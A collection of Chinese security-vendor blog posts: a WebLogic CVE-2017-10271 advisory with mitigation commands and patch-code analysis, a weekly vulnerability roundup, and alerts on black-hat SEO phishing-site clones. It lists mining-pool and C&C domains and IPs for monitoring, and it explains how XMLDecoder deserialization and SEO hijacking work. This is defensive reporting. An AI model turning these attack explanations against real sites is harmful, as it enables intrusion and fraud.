同时在网络层,通过防火墙或相关的入侵防御设备,对C&C地址及矿池相关域名/IP进行监测,涉及域名及IP包括:

minergate.com

minexmr.com

78.46.91.134

104.25.208.15

104.25.209.15

136.243.102.167

136.243.102.154

94.130.143.162

88.99.142.163

72.11.140.178

 

官方修复方案

Oracle官方对于Weblogic WLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议用户及时下载更新包,升级至最新版本进行防护。

下载链接:

http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html

临时防护方案

根据攻击者利用POC分析发现所利用的为wls-wsat组件的CoordinatorPortType接口,若Weblogic服务器集群中未应用此组件,建议临时备份后将此组件删除。

  1. 根据实际环境路径,删除WebLogic wls-wsat组件:
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

  1. 重启Weblogic域控制器服务。
DOMAIN_NAME/bin/stopWeblogic.sh    #停止服务

DOMAIN_NAME/bin/startManagedWebLogic.sh    #启动服务

关于重启Weblogic服务的详细信息,可参考如下官方文档:

https://docs.oracle.com/cd/E13222_01/wls/docs90/server_start/overview.html

绿盟科技防护建议

绿盟科技检测类产品与服务

  • 公网资产可使用绿盟云 紧急漏洞在线检测,检测地址如下:

https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?page_id=12

  • 内网资产可以使用绿盟科技的远程安全评估系统(RSAS V6/V5 )或 Web应用漏洞扫描系统(WVSS) 进行检测:
    • 远程安全评估系统(RSAS V6)

http://update.nsfocus.com/update/listRsasDetail/v/vulweb

  • 远程安全评估系统(RSAS V5)

http://update.nsfocus.com/update/listAurora/v/5

  • Web应用漏洞扫描系统(WVSS)

http://update.nsfocus.com/update/listWvssDetail/v/6/t/plg

  • 内网资产可以使用绿盟科技的入侵检测系统(IDS) 进行检测。

入侵检测系统(IDS)

http://update.nsfocus.com/update/listIds

通过上述链接,升级至最新版本即可进行检测

使用绿盟科技防护类产品(IPS/NF/WAF)进行防护:

  • 入侵防护系统(IPS)

http://update.nsfocus.com/update/listIps

  • 下一代防火墙系统(NF)

http://update.nsfocus.com/update/listNf

  • Web应用防护系统(WAF)

http://update.nsfocus.com/update/wafIndex

通过上述链接,升级至最新版本即可进行防护!

技术分析

首先来看下weblogic的历史补丁,四月份补丁通告:

http://www.oracle.com/technetwork/security-advisory/cpuapr2017-3236618.html

10月份补丁通告:

https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html

“remote user can exploit a flaw in the Oracle WebLogic Server WLS Security component to gain elevated privileges [CVE-2017-10271]”

这是CVE-2017-10271的描述信息。

通过PoC测试,结果如下:

跟踪到底这还是XMLDecoder的漏洞,下面来分析补丁代码:首先来看3506的补丁的分析,在文件

weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中,添加了validate方法,方法的实现如下:

private void validate(InputStream is) {

      WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();



      try {

         SAXParser parser = factory.newSAXParser();

         parser.parse(is, new DefaultHandler() {

            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {

               if(qName.equalsIgnoreCase("object")) {

                  throw new IllegalStateException("Invalid context type: object");

               }

            }

         });

      } catch (ParserConfigurationException var5) {

         throw new IllegalStateException("Parser Exception", var5);

      } catch (SAXException var6) {

         throw new IllegalStateException("Parser Exception", var6);

      } catch (IOException var7) {

         throw new IllegalStateException("Parser Exception", var7);

      }

   }

简单来说就是在解析xml的过程中,如果Element字段值为Object就抛出异常,这修复显得有些业余,所以马上就有了CVE-2017-10271。前段时间分析Oracle Weblogic十月份的补丁的时候看到WorkContextXmlInputAdapter 相关代码时只关注了这块dos的漏洞,没看到10271添加的对new,method,void的去除。因为可以通过其他方式绕过,比如典型的就是将object改为void,这是挖矿的人采用的PoC,当然也还可以通过new关键字来创建反序列化执行的PoC。

至于为什么XMLDecoder在解析的过程中能执行代码呢,下面我们来动态分析。以如下poc示例:

根据如上PoC,首先生成JdbcRowSetImpl的实例,接着调用该实例的set方法来初始化该实例的属性,当调用完setAutoCommit接口的时候就会根据dataSourceName的值去远程加载一个类初始化。下图为调用栈的结果:

针对上面的PoC,官方放出了10271的补丁,补丁如下:

private void validate(InputStream is) {
   WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

   try {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler() {
         private int overallarraylength = 0;

         public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
            if(qName.equalsIgnoreCase("object")) {
               throw new IllegalStateException("Invalid element qName:object");
            } else if(qName.equalsIgnoreCase("new")) {
               throw new IllegalStateException("Invalid element qName:new");
            } else if(qName.equalsIgnoreCase("method")) {
               throw new IllegalStateException("Invalid element qName:method");
            } else {
               if(qName.equalsIgnoreCase("void")) {
                  for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
                     if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
                        throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
                     }
                  }
               }

               if(qName.equalsIgnoreCase("array")) {
                  String var9 = attributes.getValue("class");
                  if(var9 != null && !var9.equalsIgnoreCase("byte")) {
                     throw new IllegalStateException("The value of class attribute is not valid for array element.");
                  }

该补丁较为完整,通过限定object,new,method,void,array等字段来防止攻击者绕过。

声 明

本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。

关于绿盟科技

北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。

基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。

北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。

文章来源:绿盟科技博客

绿盟科技互联网安全威胁周报 ——第201750周

$
0
0

绿盟科技网络安全威胁周报及月报系列,旨在简单而快速有效的传递安全威胁态势,呈现重点安全漏洞、安全事件、安全技术。

一. 互联网安全威胁态势

1.1 CVE统计

cve-201749

最近一周CVE公告总数与前期相比基本持平。

1.2 威胁信息回顾

  • 标题:激活工具KMSpico内含挖矿病毒事件
    • 时间:2017-12-21
    • 摘要:近日有安全公司发布预警称“知名激活工具KMSpico内含挖矿病毒”,笔者对相应事件进行一番跟踪分析后发现,原作者的官方版本并不含挖矿病毒。
    • 链接:http://blog.nsfocus.net/kmspico/
  • 标题:Weblogic WLS组件漏洞
    • 时间:2017-12-22
    • 摘要:近日,绿盟科技应急响应团队也陆续接到来自金融、运营商及互联网等多个行业的客户的安全事件的反馈,发现Weblogic主机被攻击者植入恶意程序,经分析,攻击者利用Weblogic WLS 组件漏洞(CVE-2017-10271),构造payload下载并执行虚拟币挖矿程序,对Weblogic中间件主机进行攻击。
    • 链接:http://blog.nsfocus.net/weblogic-wls-component-vulnerability-technology/
  • 标题:Copperfield恶意软件RAT攻击中东关键基础设施 据称我国也有感染
    • 时间:2017-12-21
    • 摘要:FireEye曾报道近期一起 工控安全 攻击事件,在这起事件中, 民族国家行为者中断了中东一处关键基础设施的运营 。数日之后,出现了另一起报道,是关于一起针对该地区类似组织的新网络攻击行为。
    • 链接:http://toutiao.secjia.com/copperfield-attack-critical-infrastructure
  • 标题:HUAWEI ROUTER VULNERABILITY USED TO SPREAD MIRAI VARIANT
    • 时间:2017-12-22
    • 摘要:Researchers have identified a vulnerability in a Huawei home router model that is being exploited by an adversary to spread a variant of the Mirai malware called Okiku, also known as Satori.
    • 链接:https://threatpost.com/huawei-router-vulnerability-used-to-spread-mirai-variant/129238/
  • 标题:Linksys无线网桥WVBR0-25远程命令注入漏洞CVE-2017-17411
    • 时间:2017-12-20
    • 摘要:攻击者利用该漏洞,可以使用用户权限,在受影响设备的上下文中执行任意命令。Linksys的wvbr0-25受影响,其他版本也可能受到影响。有消息称,签约AT&T公司DirecTV服务的用户可能会在服务使用中受到黑客攻击。
    • 链接:http://toutiao.secjia.com/linksys-wvbr0-25-rci
  • 标题:美加州选民1900多万条信息泄露 4G多数据包含公民个人敏感信息
    • 时间:2017-12-19
    • 摘要:一个新的、无保护的MongoDB数据库被发现了,内含4G多1900多万条加利福尼亚选民信息,包括每个注册选民的数据。这起事故与今年已被报道的多起选民 数据泄露 事故一样。Mongodb数据库相关的安全问题,今年已经出现过多次了
    • 链接:http://toutiao.secjia.com/california-voter-databreach
  • 标题:Hidden Backdoor Found In WordPress Captcha Plugin Affects Over 300,000 Sites
    • 时间:2017-12-09
    • 摘要:Buying popular plugins with a large user-base and using it for effortless malicious campaigns have become a new trend for bad actors.
    • 链接:https://thehackernews.com/2017/12/wordpress-security-plugin.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Security+Blog%29
  • 标题:GOOGLE PLAY BOOTS 3 FAKE BITCOIN WALLET APPS
    • 时间:2017-12-21
    • 摘要:Google moved quickly to kick three fake bitcoin wallet apps from its Google Play marketplace earlier this month after researchers at mobile security firm Lookout discovered them.
    • 链接:https://threatpost.com/google-play-boots-3-fake-bitcoin-wallet-apps/129216/
  • 标题:NISSAN CANADA FINANCE NOTIFIES 1.1 MILLION OF DATA BREACH
    • 时间:2017-12-22
    • 摘要:Nissan Canada Finance notified 1.13 million customers on Thursday of a data breach impacting an unspecified number of past and present customers.
    • 链接:https://threatpost.com/nissan-canada-finance-notifies-1-1-million-of-data-breach/129233/
  • 标题:Beware of Cryptocurrency Mining Virus Spreading Through Facebook Messenger
    • 时间:2017-12-21
    • 摘要:If you receive a video file (packed in zip archive) sent by someone (or your friends) on your Facebook messenger — just don’t click on it.
    • 链接:https://thehackernews.com/2017/12/cryptocurrency-hack-facebook.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Security+Blog%29
  • 标题:Windows 10 Hello facial recognition feature can be spoofed with photos
    • 时间:2017-12-20
    • 摘要:Experts discovered that the Windows 10 facial recognition security feature Hello can be spoofed using a photo of an authorized user.
    • 链接:http://securityaffairs.co/wordpress/66964/hacking/win10-hello-facial-recognition-bypass.html
  • 标题:星巴克某店Wifi被利用挖矿 事发后称店内Wifi不是他们运营的
    • 时间:2017-12-18
    • 摘要:上周星巴克出现店内Wifi被利用,用于挖矿的事件。整个事情是由Stensul CEO诺亚·丁金(Noah Dinkin)发现的,他在布宜诺斯艾利斯的一家星巴克店内连接Wifi,却发现他的笔记本电脑在不知不觉中成了一个 加密货币 的矿工。
    • 链接:http://toutiao.secjia.com/starbucks-wifi-cryptocurrency-miners

业界动态
– 标题:全国人大执法检查组提请审议”一法一决定”实施情况报告 给出7方面建议
– 时间:2017-12-25
– 摘要:在今年 9月至10月,全国人大常委会6个检查组分赴各省执法检查,重点监督一法一决定实施情况 。12月24日,检查组第十二届全国人民代表大会常务委员会第三十一次会议上提交报告并提请审议,报告介绍了贯彻实施“一法一决定”的做法和成效,并就工作中存在的困难和问题,给出了7个方面的工作建议。
– 链接:http://toutiao.secjia.com/npc-law-enforcement-report

  • 标题:2018网络安全规划:9个趋势15类型事件11点希望 数百家企业5个预算选择
    • 时间:2017-12-20
    • 摘要:本文回顾了9个机构归纳的2018年网络安全发展趋势,并预测15个可能发生的2018年网络安全事件类型,有鉴于此大家还给出了11点网络安全方面的希望和建议,最后提供一份来自ESG/ISSA 的调查报告,报告显示数百家企业在制定2018年网络安全预算的时候,作出的5个共性考虑与选择,这可以作为您的2018网络安全规划的参考。
    • 链接:http://toutiao.secjia.com/2018-cybersecurity-plan
  • 标题:2018网络安全规划:CISO们需要考虑5个问题 首要是全球性合规法规
    • 时间:2017-12-21
    • 摘要:近日,外媒给出了 2018网络安全规划中的9个趋势15类型事件11点希望 ,并提到 ISSA报告《网络安全专家的生活和时代》中表示, 在数百家企业5个预算选择 。今天这篇文章是从 首席信息安全官CISO的角度出发,思考自己所面临着日益严峻的威胁形势,这包括缺乏熟练的网络安全专业人员,缺乏 网络安全最佳实践意识 的非技术型员工。2018年,每个 CISO 都必须做出与其组织安全有关的重大决策。这个关键点,让我们不妨给CISO们提几个问题。
    • 链接:http://toutiao.secjia.com/2018-ciso-cybersecurity-plan
  • 标题:黑客攻击调查报告 以攻击者的视角验证防御有效性
    • 时间:2017-12-21
    • 摘要:近日,数据泄露和攻击模拟供应商SafeBreach发布了第三版“黑客手册调查报告”,该报告以独特的 红队视角 衡量了企业安全趋势。攻击者的看法。报告汇总了1150万次模拟攻击中,超过3,400种数据泄露方法的知识和经验,发现 恶意软件 渗透成功率超过60%, 横向移动攻击 成功率高达70%。在大多数情况下,组织似乎在不断地实施安全控制,但却没有实现一个有凝聚力的防御战略,甚至在某些情况下,完全忽略了风险。
    • 链接:http://toutiao.secjia.com/safebreach-hacker-playbook

(数据来源:绿盟科技 威胁情报与网络安全实验室 收集整理)

二. 漏洞研究

2.1 漏洞库统计

截止到2017年12月22日,绿盟科技漏洞库已收录总条目达到38472条。本周新增漏洞记录50条,其中高危漏洞数量5条,中危漏洞数量33条,低危漏洞数量12条。

  • Asterisk 远程拒绝服务漏洞(CVE-2017-17664)
    • 危险等级:低
    • BID:102201
    • cve编号:CVE-2017-17664
  • Hitachi Vantara Pentaho BA Platform跨站请求伪造漏洞(CVE-2016-10701)
    • 危险等级:中
    • BID:102200
    • cve编号:CVE-2016-10701
  • Alteon 信息泄露漏洞(CVE-2017-17427)
    • 危险等级:中
    • BID:102199
    • cve编号:CVE-2017-17427
  • Cisco NX-OS System Software本地命令注入漏洞(CVE-2017-12339)
    • 危险等级:中
    • BID:102198
    • cve编号:CVE-2017-12339
  • Erlang/OTP信息泄露漏洞(CVE-2017-1000385)
    • 危险等级:中
    • BID:102197
    • cve编号:CVE-2017-1000385
  • Google Chrome 63.0.3239.108之前版本多个安全漏洞(CVE-2017-15429)
    • 危险等级:中
    • BID:102196
    • cve编号:CVE-2017-15429
  • Bouncy Castle信息泄露漏洞(CVE-2017-13098)
    • 危险等级:中
    • BID:102195
    • cve编号:CVE-2017-13098
  • Atlassian FishEye/Crucible远程代码执行漏洞(CVE-2017-14591)
    • 危险等级:中
    • BID:102194
    • cve编号:CVE-2017-14591
  • ImageMagick拒绝服务漏洞(CVE-2017-17682)
    • 危险等级:中
    • BID:102202
    • cve编号:CVE-2017-17682
  • IBM Maximo Asset Management 开放重定向漏洞(CVE-2017-1558)
    • 危险等级:中
    • BID:102211
    • cve编号:CVE-2017-1558
  • ImageMagick ‘coders/xpm.c’拒绝服务漏洞(CVE-2017-17680)
    • 危险等级:中
    • BID:102203
    • cve编号:CVE-2017-17680
  • Ruby多个命令执行漏洞(CVE-2017-17405)
    • 危险等级:高
    • BID:102204
    • cve编号:CVE-2017-17405
  • ImageMagick ReadPSDChannelZip拒绝服务漏洞(CVE-2017-17681)
    • 危险等级:中
    • BID:102206
    • cve编号:CVE-2017-17681
  • Python ‘Lib/webbrowser.py’远程命令执行漏洞
    • 危险等级:中
    • BID:102207
    • cve编号:CVE-2017-17522
  • Rapid7 Nexpose跨站请求伪造漏洞(CVE-2017-5264)
    • 危险等级:低
    • BID:102208
    • cve编号:CVE-2017-5264
  • Huawei FusionSphere OpenStack路由器身份验证绕过漏洞(CVE-2017-8194)
    • 危险等级:中
    • BID:102209
    • cve编号:CVE-2017-8194
  • EMC Isilon OneFS多个权限提升漏洞(CVE-2017-14380)
    • 危险等级:中
    • BID:102210
    • cve编号:CVE-2017-14380
  • DotNetNuke 远程代码执行漏洞(CVE-2017-9822)
    • 危险等级:中
    • BID:102213
    • cve编号:CVE-2017-9822
  • VideoLAN VLC ‘mp4/libmp4.c’拒绝服务漏洞(CVE-2017-17670)
    • 危险等级:低
    • BID:102214
    • cve编号:CVE-2017-17670
  • NetGain Systems Enterprise Manager信息泄露漏洞(CVE-2017-16607)
    • 危险等级:低
    • BID:102219
    • cve编号:CVE-2017-16607
  • IBM Business Process Manager跨站脚本漏洞(CVE-2017-1494)
    • 危险等级:中
    • BID:102218
    • cve编号:CVE-2017-1494
  • IBM RPA with Automation Anywhere跨站脚本漏洞(CVE-2017-1751)
    • 危险等级:中
    • BID:102217
    • cve编号:CVE-2017-1751
  • Trend Micro Mobile Security 信息泄露及拒绝服务漏洞
    • 危险等级:低
    • BID:102216
    • cve编号:CVE-2017-14082
  • Linksys WVBR0-25远程命令注入漏洞(CVE-2017-17411)
    • 危险等级:中
    • BID:102212
    • cve编号:CVE-2017-17411
  • IBM Integration Bus信息泄露漏洞(CVE-2017-1694)
    • 危险等级:中
    • BID:102215
    • cve编号:CVE-2017-1694
  • vBulletin ‘index.php’ 远程文件包含漏洞
    • 危险等级:中
    • BID:102222
    • cve编号:
  • Ecava IntegraXor多个SQL注入漏洞(ICSA-17-353-03)(CVE-2017-16733)
    • 危险等级:中
    • BID:102223
    • cve编号:CVE-2017-16733
  • Intel类型混淆本地权限提升漏洞(CVE-2017-5717)
    • 危险等级:中
    • BID:102221
    • cve编号:CVE-2017-5717
  • Ecava IntegraXor多个SQL注入漏洞(ICSA-17-353-03)(CVE-2017-16735)
    • 危险等级:中
    • BID:102223
    • cve编号:CVE-2017-16735
  • Cisco NX-OS System Software本地命令注入漏洞(CVE-2017-12341)
    • 危险等级:中
    • BID:102220
    • cve编号:CVE-2017-12341
  • Apache Sling信息泄露漏洞(CVE-2017-15700)
    • 危险等级:低
    • BID:102229
    • cve编号:CVE-2017-15700
  • GNU C Library ‘elf/dl-load.c ‘ 本地权限提升漏洞(CVE-2017-16997)
    • 危险等级:中
    • BID:102228
    • cve编号:CVE-2017-16997
  • Linux Kernel 拒绝服务漏洞(CVE-2017-17741)
    • 危险等级:低
    • BID:102227
    • cve编号:CVE-2017-17741
  • Apache Drill 跨站脚本漏洞(CVE-2017-12630)
    • 危险等级:中
    • BID:102226
    • cve编号:CVE-2017-12630
  • Siemens LOGO! Soft Comfort 中间人安全限制绕过漏洞(CVE-2017-12740)
    • 危险等级:中
    • BID:102225
    • cve编号:CVE-2017-12740
  • ABB Ellipse中间人信息泄露漏洞(CVE-2017-16731)
    • 危险等级:低
    • BID:102224
    • cve编号:CVE-2017-16731
  • Linux Kernel raw_sendmsg()竞争条件漏洞(CVE-2017-17712)
    • 危险等级:低
    • BID:102231
    • cve编号:CVE-2017-17712
  • Wecon LEVI Studio HMI堆缓冲区溢出漏洞(CVE-2017-16717)
    • 危险等级:中
    • BID:102230
    • cve编号:CVE-2017-16717
  • Trend Micro ScanMail for Exchange安全限制绕过漏洞(CVE-2017-14091)
    • 危险等级:低
    • BID:102239
    • cve编号:CVE-2017-14091
  • IBM MQ/IBM MQ Appliance拒绝服务漏洞(CVE-2017-1283)
    • 危险等级:中
    • BID:102232
    • cve编号:CVE-2017-1283
  • NetApp Clustered Data ONTAP拒绝服务漏洞(CVE-2017-14583)
    • 危险等级:低
    • BID:102233
    • cve编号:CVE-2017-14583
  • Trend Micro ScanMail for Exchange多个跨站脚本漏洞(CVE-2017-14093)
    • 危险等级:中
    • BID:102234
    • cve编号:CVE-2017-14093
  • Trend Micro Encryption for Email远程代码执行漏洞(CVE-2017-11397)
    • 危险等级:中
    • BID:102235
    • cve编号:CVE-2017-11397
  • OpenLDAP ‘contrib/slapd-modules/nops/nops.c’拒绝服务漏洞
    • 危险等级:中
    • BID:102236
    • cve编号:CVE-2017-17740
  • Trend Micro ScanMail for Exchange跨站请求伪造漏洞(CVE-2017-14092)
    • 危险等级:低
    • BID:102237
    • cve编号:CVE-2017-14092
  • VMware多个产品远程栈溢出漏洞(CVE-2017-4941)
    • 危险等级:高
    • BID:102238
    • cve编号:CVE-2017-4941
  • VMware vCenter Server Appliance本地权限提升漏洞(CVE-2017-4943)
    • 危险等级:中
    • BID:102242
    • cve编号:CVE-2017-4943
  • VMware ESXi HTML注入漏洞(CVE-2017-4940)
    • 危险等级:高
    • BID:102241
    • cve编号:CVE-2017-4940
  • VMware多个产品远程堆溢出漏洞(CVE-2017-4933)
    • 危险等级:高
    • BID:102240
    • cve编号:CVE-2017-4933
  • Microsoft Malware Protection Engine远程代码执行漏洞(CVE-2017-11937)
    • 危险等级:高
    • BID:102070
    • cve编号:CVE-2017-11937

(数据来源:绿盟科技安全研究部&产品规则组)

2.2 焦点漏洞

  • 焦点漏洞
    • Weblogic WLS 组件漏洞
    • NSFOCUS ID
      • 38473
    • CVE ID
      • CVE-2017-10271
    • 受影响版本
      • Oracle WebLogic Server 10.3.6.0.0版本
      • Oracle WebLogic Server 12.1.3.0.0版本
      • Oracle WebLogic Server 12.2.1.1.0版本
    • 漏洞点评
      • Oracle WebLogic Server的WLS Security子组件存在安全漏洞。使用精心构造的xml数据可能造成任意代码执行,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器的权限。近期绿盟科技应急响应团队陆续接到来自金融、运营商及互联网等多个行业的客户的安全事件的反馈,发现Weblogic主机被攻击者利用此漏洞植入恶意程序。请用户及时下载更新包,升级Weblogic。

(数据来源:绿盟科技安全研究部&产品规则组)

文章来源:绿盟科技博客

【预警通告】黑帽SEO威胁

$
0
0

近两个月内,绿盟科技应急响应团队陆续接收到来自银监会对各大银行机构的网络安全通报,通报指出CNCERT监测发现互联网存在大批量的疑似钓鱼网站,要求被通报单位进行合理处理

预警编号 NS-2017-0031
TAG 银行机构、黑帽SEO,钓鱼网站;
关注级别 黄,针对金融行业的攻击,攻击手法简单,对企业形象和信誉造成影响。
发布日期 2017-12-25

 

预警摘要

近两个月内,绿盟科技应急响应团队陆续接收到来自银监会对各大银行机构的网络安全通报,通报指出CNCERT监测发现互联网存在大批量的疑似钓鱼网站,要求被通报单位进行合理处理,完善自身安全防护措施,保证企业机构的互联网信誉和形象。

通过对多个疑似钓鱼网站检查分析,发现该起事件为同一起黑帽SEO事件。黑客的网站通过解析二级域名来获取二级域名所对应网站的内容,并将其展示到黑客网站上,同时在页面上添加了大量第三方链接用于提高访问量。

攻击者所使用的手法不必借助任何攻击手段来篡改网站源码添加推广链接,只需要搭建一台公网可访问Web服务即可,攻击方式简单,危害程度较高,请相关企业关注。

恶意影响分析

表面上看似钓鱼事件,实则是一起借助黑帽SEO手段为网站刷流量的行为,针对此类黑帽SEO事件,绿盟科技从攻击者的角度进行了分析,总结了此次事件的分析过程:

攻击者将目标网站的网址写入二级域名,并完全复制目标站点页面用于制造钓鱼网站,同时在网站中嵌入多个第三方域名超链接来提高这些域名在SEO中的PR值(用于搜索引擎排名),即通过刷流量的方法提高网站在搜索引擎中的排名。

结合黑客的攻击手法,此次攻击事件可能带来以下负面影响:

  • 银监会对相关机构进行通报。
  • 企业形象和信誉受到影响。
  • 影响搜索引擎的查询结果。

安全防护建议

结合针对此次事件的分析(详情可参考第四章事件分析),绿盟科技建议网站自身可通过添加域名验证的方法来防止该类问题的发生,具体操作可参考下面的步骤:

在站点页面引入jquery框架,读取网站当前域名是否为合法域名,如果不是,就跳转到正常域名,并给与用户相应的提示。参考代码如下:

运行效果如下图所示:

事件分析

在对监测发现的73个疑似的钓鱼网站进行检查,共发现了56个恶意域名(可参考附录安全指标章节),这些域名均采用相同的方式实现对银行的网站复制并嵌入推广链接,在不到一个月的时间内银监会发现并通报了多家银行机构,下图是以alsmr.cn恶意域名为例,复制了绿盟科技官网页面并进行展示,同时嵌入了多个推广链接。

例如:当访问www-nsfocus-net.alsmr.cn链接时,黑客服务器会根据二级域名www-nsfocus-net将绿盟科技的页面展示出来:

显示的页面中还被嵌入了其他网站链接,如上图红框所示,部分源码截图如下:

对收集到的73个网址进行ping测试,发现每个域名所对应的IP都不同,猜测攻击者通过多个IP捆绑域名的方式,来躲避IP封堵。

通过搭建DNSLog平台(一款监控 DNS 解析记录和 HTTP 访问记录的工具)对收集到的73个钓鱼URL进行测试,发现访问这些网站均会向IP 45.34.43.154发送请求,Referer字段中还添加了http://www.baidu.com,从而欺骗监控设备认为该请求来自于百度搜索。由于百度搜索后的URL链接往往带有很多搜索参数,而这里的Referer不包含任何参数,因此可以判断出该字段属于人为伪造。

针对IP 45.34.43.154进行查询,发现是位于洛杉矶的境外IP。

结合绿盟威胁情报平台(NTI)对一些域名进行抽样查询,发现该注册人同时注册了大量类似的域名,由此可以猜测攻击者实际发起的攻击可能比所监控到的范围更广。

附录A 安全指标(IOC)

由于用于刷流量的机器是黑客自己搭建的服务器,所以对于客户无法在短期内进行有效管控,绿盟科技建议相关用户在采用防护建议进行加固的同时,使用附录中提供的IOC数据,对自己系统的网络流量进行实时监控和历史追溯,以尽早消除风险、保护企业的关键业务和重要数据。

  • C&C 域名:
5aikeji.com

600auto.com

abwavr.info

agdqwz.cc

alsmr.cn

anyuexw.net

babaocha.net

bdzhuoteng.com

blp5.com

blp5.com

bynea.cn

bynea.cn

china-experts.net

cqxinyong.com

csbanzheng.net

dgbsglass.com

eykk.net

getbodyslim.com

hebeichshxs.com

hvej.net

ivxo.net

kaiaoclub.com

kkewyu.info

kvnw.net

kvok.net

lyever.com

mengchuan.cc

mwok.net

nmbgbc.com

ohqv.net

ovtu.net

plgdm.cn

plgdm.cn

psxkdd.info

ptbcwz.cc

qfimhw.info

qianqiu168.com

rrbxhn.cn

sdhzyaxin.com

sdzqf.com

svfo.net

svjx.net

svmq.net

taotrave.com

wjh58.loan

xizhi236.cn

xjyllhj.cc

yinyun236.cn

yufengzhileng.com

zrdbkh.cc

zrdbsp.cc

zsdqwz.cc

zxdbgs.cc

zxdbyl.cc

zxdqwz.cc

zxdzyx.cc

  • C&C IP
45.34.43.154

 

文章来源:绿盟科技博客

黑帽SEO手法简介

$
0
0

首先得说黑帽SEO是个老话题,近期绿盟科技应急响应团队陆续接收到来自银监会的网络安全通报,通报指出CNCERT监测发现互联网存在大批量的疑似钓鱼网站,通过调查分析,发现这些为同一起黑帽SEO事件。 由此总结一下黑帽SEO的常见手法,了解其套路,共同抵制。

黑帽seo概念

SEO全称为搜索引擎优化,是通过站内优化和站外优化的方式达到提成搜索引擎排名的目的。正规从事SEO职业的人被称为白帽SEO,指通过正规SEO手法,帮助提升站点排名的专业人员。
当然有白便会有黑,由于白帽SEO优化的过程将会十分漫长,一个新站想要获取好的排名,往往需要花上几年时间做优化推广。因此一些想要快速提升自身网站排名的小伙伴,便开始在SEO上研究作弊手法,从而诞生了黑帽SEO。黑帽SEO是指通过作弊手段,让站点快速提升排名的一类SEO技术,或者说是黑客技术,比如说:黑链(暗链)、站群、网站劫持(搜索引擎劫持)、桥页等,黑帽SEO能够快速提升排名,但毕竟是违规作弊行为,容易被K。

SEO的一些黑色手法

黑帽SEO的手法很多,并且在不断地更新换代,其中最常见的包括利用泛解析做站群,入侵高权重网站挂暗链,入侵高权重网站做网页劫持,篡改高权重网站网页内容,利用高权重网站二级目录做推广页面,修改nginx配置做目录反向代理等等。接下来介绍一些常用的手段。

利用泛解析建立泛二级域名站群

利用DNS泛解析可以快速建立站群,因为一个一级域名便可以衍生出无数个二级域名,当然一般需要借助站群工具,因为建立站群需要有很多内容不同的页面,手工建立显然不可能。而seo人员大费周章地建立站群的目的,便是能够快速吸引大量的搜索引擎爬虫,增加网站在搜索引擎中的收录量。
需要说明的是,二级域名并不是通过一条条dns解析记录去绑定的,解析里面设置的是*,也就是泛解析。而服务器端有程序或者代码去控制当构造不同的二级域名访问时,会返回不同的网页内容,也就让搜索引擎误认为每个二级域名都是一个单独的网站。
泛解析有很多优点,比如对用户友好(即使输错二级域名也能跳转到目标网站),又能够更快速地被搜索引擎收录等。基于这些优点,很多站长会选择用此方式来增加网站收录,然而如果没有妥善的使用泛解析可能会带来难以想象的危害。

 

利用网站暗链

暗链也称为黑链,即隐蔽链接 hidden links,是黑帽SEO的作弊手法之一。挂暗链的目的很简单,增加网站外链,提高网站排名;实现方式主要分为几种:利用CSS实现、利用JS实现、利用DIV+JS实现等。

利用高权重网站,构造关键词URL做推广

将URL中的参数内容显示到网页内,这原本是某些网页的一种特殊功能。黑客通过在url或者post数据包(常见于搜索框功能)中构造推广关键词,再将有推广关键词页面添加到蜘蛛池中,使搜索引擎收录就能达到推广的目的。

利用网页劫持引流

网页劫持,又叫网站劫持或者搜索引擎劫持,是目前黑帽SEO中最流行的一种做法。其原因可以简单概括为:易收录、难发现,易收录表现为搜索引擎尚没有很好的机制能够检测出此作弊手段,网页劫持手法仍然能够大量引流。难发现是指网页劫持手法比较隐蔽,一般非技术人员很难发现它的存在。
网页劫持从手法上可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;
网页劫持的表现形式可以是劫持跳转,也可以是劫持呈现的网页内容(与直接篡改网页内容不同),目前被广泛应用于私服、博彩等暴利行业。

服务端劫持

服务端劫持也称为全局劫持,此手法为修改网站动态语言文件,判断访问来源控制返回内容,从而达到网页劫持的目的。其特点往往是通过修改asp/aspx/php等后缀名文件,达到动态呈现网页内容的效果。
